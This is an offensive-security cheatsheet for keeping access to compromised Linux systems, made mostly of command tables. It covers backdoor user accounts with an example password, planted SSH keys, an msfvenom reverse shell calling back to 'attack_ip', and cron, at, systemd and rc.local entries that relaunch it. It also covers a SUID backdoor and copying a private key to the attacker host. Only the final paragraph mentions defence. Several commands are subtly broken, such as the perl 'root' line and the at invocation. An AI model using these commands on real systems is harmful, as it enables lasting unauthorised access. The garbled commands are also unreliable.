

Persistence

Cheatsheet for Linux

Privilege Escalation

and Maintaining

Access

Introduction

Persistence is crucial for attackers who want to maintain access to a system after the initial compromise. By setting up persistence mechanisms, attackers ensure that their access remains even after system reboots, logouts, or administrative intervention. This cheatsheet covers several techniques for achieving persistence, including creating new user accounts, adding SSH keys, and hijacking existing services.

1. Adding a User with SSH Persistence

Step	Command/Description
Create a new user	<code>useradd -m -s /bin/bash redis</code> (Create a new user with a home directory and Bash shell)
Add the user to a group	<code>usermod -aG redis</code> (Add the user to a specific group, can be the admin group if necessary)
Set a password for the new user	<code>passwd redis</code> (Set a password for the new user, for example, <code>avar112233!</code>)
Switch to the new user	<code>su redis</code> (Switch to the new user account)
Generate an SSH key pair	<code>ssh-keygen</code> (Generate a new SSH key pair)
Add SSH key for persistence	<code>cat ~/.ssh/id_rsa.pub >> /home/redis/.ssh/authorized_keys</code> (Add the SSH public key to the <code>authorized_keys</code> file for password-less access)

Step	Command/Description
Set correct permissions on the SSH folder	<code>chmod 700 /home/redis/.ssh && chmod 600 /home/redis/.ssh/authorized_keys</code> (Ensure proper permissions for the SSH directory)
Optional	<code>rm -rf /home/redis</code> (Clean up the home directory if needed, while maintaining SSH access)
Access the machine remotely via SSH	<code>ssh redis@attack_ip -i id_rsa</code> (Access the target system using the private key)

2. Using perl to Escalate EUID to UID

Step	Command/Description
Escalate EUID to UID	<code>perl -MEnglish -e '\$UID = 0; \$ENV{PATH} = "/bin:/usr/bin:/sbin:/usr/sbin"; exec "su - root"'</code> (This command escalates the EUID to UID 0, giving root access)

3. SSH Reverse Shell for Persistence

Step	Command/Description
Generate a reverse shell with msfvenom	<code>msfvenom -p linux/x64/shell_reverse_tcp LHOST=attack_ip LPORT=4444 -f elf > /tmp/reverse_shell.elf</code> (Create a reverse shell payload)
Transfer the reverse shell	Use scp, ftp, or other methods to transfer the reverse_shell.elf to the victim machine.
Set execute permissions	<code>chmod +x /tmp/reverse_shell.elf</code> (Make the reverse shell executable)
Execute the reverse shell	<code>/tmp/reverse_shell.elf</code> (Run the reverse shell on the target system)
Listen on your attack machine	<code>nc -lvp 4444</code> (Start a listener on your attacking machine to catch the reverse shell)

4. Adding Backdoor through /etc/ssh/sshd_config

Step	Command/Description
Edit SSH configuration	<code>nano /etc/ssh/sshd_config</code> (Open the SSH configuration file for editing)
Add a new authorized user	Add the line <code>AllowUsers redis</code> to grant SSH access to a new user. Alternatively, add SSH public keys or modify other settings for persistence.
Restart SSH service	<code>systemctl restart sshd</code> (Restart the SSH service to apply the changes)

5. Cron Jobs for Persistence

Step	Command/Description
Check current cron jobs	<code>crontab -l</code> (List the current cron jobs for the user)
Add a malicious cron job	<code>echo "* * * * * /tmp/reverse_shell.elf" >> /etc/crontab</code> (Schedule a reverse shell every minute)
Set cron job permissions	<code>chmod 777 /etc/crontab</code> (Ensure that you have write permissions to the cron configuration)

6. Using at for Timed Execution

Step	Command/Description
Check if at is installed	<code>which at</code> (Check if the at utility is installed on the target machine)
Schedule a command to run at a future time	<code>echo "/tmp/reverse_shell.elf" at now + 1 minute</code> (Schedule the reverse shell to execute 1 minute from now)

7. Using systemd for Persistence

Step	Command/Description
Create a systemd service	<code>nano /etc/systemd/system/reverse_shell.service</code> (Create a new systemd service)
Service configuration	Add the following to the service file: [Unit] Description=Reverse Shell [Service] ExecStart=/tmp/reverse_shell.elf [Install] WantedBy=multi-user.target
Enable and start the service	<code>systemctl enable reverse_shell.service</code> <code>systemctl start reverse_shell.service</code> (Enable and start the service to ensure persistence across reboots)

8. SSH Key Persistence

Step	Command/Description
Generate SSH keys on the target system	<code>ssh-keygen</code> (Generate SSH keys on the victim system)
Create a new key pair	<code>ssh-keygen -t rsa -b 2048 -f /home/redis/.ssh/id_rsa</code> (Create a new SSH key pair for persistence)
Transfer the private key back to attacker	<code>scp /home/redis/.ssh/id_rsa attack_ip:/path/to/store/key</code> (Transfer the private key for remote access)

9. Using rc.local for Persistence

Step	Command/Description
Check if rc.local exists	<code>cat /etc/rc.local</code> (Check if rc.local is present on the system)
Add malicious payload	<code>echo "/tmp/reverse_shell.elf &" >> /etc/rc.local</code> (Add the reverse shell command to rc.local for execution on boot)

10. Creating SUID Backdoor

Step	Command/Description
Check for SUID binaries	<code>find / -type f -perm -04000</code> (List all SUID binaries)
Create a malicious SUID binary	<code>gcc -o /tmp/suid_backdoor /tmp/backdoor.c && chmod +s /tmp/suid_backdoor</code> (Compile and set the SUID bit on the binary to give it root privileges)
Trigger the SUID binary	<code>/tmp/suid_backdoor</code> (Execute the malicious binary to escalate privileges)

Conclusion

Persistence techniques ensure that an attacker maintains access to a compromised system, even after system reboots or administrative interventions. By using various methods such as SSH keys, cron jobs, systemd services, and file modifications, attackers can regain access and continue exploiting systems. It is critical for system administrators to regularly monitor these methods and implement security practices to prevent them.